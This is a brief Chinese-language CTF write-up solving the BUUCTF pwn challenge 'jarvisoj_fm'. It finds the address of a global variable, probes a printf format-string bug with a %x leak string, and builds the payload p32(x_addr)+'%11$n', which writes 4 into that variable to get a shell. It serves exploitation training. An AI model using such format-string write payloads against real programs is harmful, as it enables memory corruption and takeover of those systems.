天天看點

buuctf pwn jarvisoj_fm

buuctf pwn jarvisoj_fm

IDA檢視

x的位址 0804A02C

.data:0804A02C x dd 3 ; DATA XREF: main+65↑r 檢視得知是格式化漏洞 第10行存在格式化字元串漏洞,我們可以利用它随意讀寫的特性讓x=4 x_addr=0x804A02C
buuctf pwn jarvisoj_fm

AAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

那麼可以看到輸入點的參數在棧上存儲的位置,手動輸入計算得到偏移為11

利用x的位址配合上%11$n 将x修改為4

payload=p32(x_addr)+"%11$n"

稍微解釋一下payload,首先傳入x參數的位址,這個位址存放在棧上偏移為11的位置,利用%11$n,定位到了偏移為11的位置,往這個位置寫入資料,寫入的資料由%11$n前面的參數的長度決定,而我們的x參數的位址,正好是4位,不需要添a來補齊位數就可以直接利用,将x參數的位址的值改成了4,擷取了shell